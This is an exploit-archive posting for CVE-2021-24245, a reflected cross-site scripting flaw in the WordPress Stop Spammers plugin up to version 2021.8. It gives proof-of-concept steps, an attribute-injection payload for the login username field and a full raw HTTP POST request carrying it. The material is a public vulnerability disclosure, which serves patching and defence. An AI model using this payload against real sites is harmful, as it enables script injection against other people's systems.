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WordPress Stop Spammers 2021.8 Cross Site Scripting

WordPress Stop Spammers 2021.8 Cross Site Scripting
Posted May 19, 2021
Authored by Hosein Vita

WordPress Stop Spammers plugin versions 2021.8 and below suffer from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2021-24245
SHA-256 | bf9945c32ef69113f670b3714af6f9009562934e27ce25e76fc4061d15040fcc

WordPress Stop Spammers 2021.8 Cross Site Scripting

Change Mirror Download
# Exploit Title: WordPress Plugin Stop Spammers 2021.8 - 'log' Reflected Cross-site Scripting (XSS)
# Date: 04/08/2021
# Exploit Author: Hosein Vita
# Vendor Homepage: https://wordpress.org/plugins/stop-spammer-registrations-plugin/
# Software Link: https://downloads.wordpress.org/plugin/stop-spammer-registrations-plugin.zip
# Version: <= 2021.8
# Tested on: Windows-Ubuntu
# CVE : CVE-2021-24245

Summary:

Reflected cross-site scripting (XSS) vulnerabilities in 'Stop Spammers <= 2021.8' allow remote attackers to run arbitary javascript

Proof of concepts:

1-Install "Stop Spammers <= 2021.8" in your wordpress website
2-For testing remove your IP address from the allowed list
3-Go to http://<YOUR-WEBSITE>/wp-admin
4-In username field enter this payload ~> ad" accesskey=X onclick=alert(1) "
#Notice the `ad` keyword must be in your payload!
5-Press Alt + Shift + X to trigger Xss
#Tested on Firefox

Request POC:

POST /wp-login.php HTTP/1.1
Host: localhost
Connection: close
Content-Length: 161
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check;

log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1
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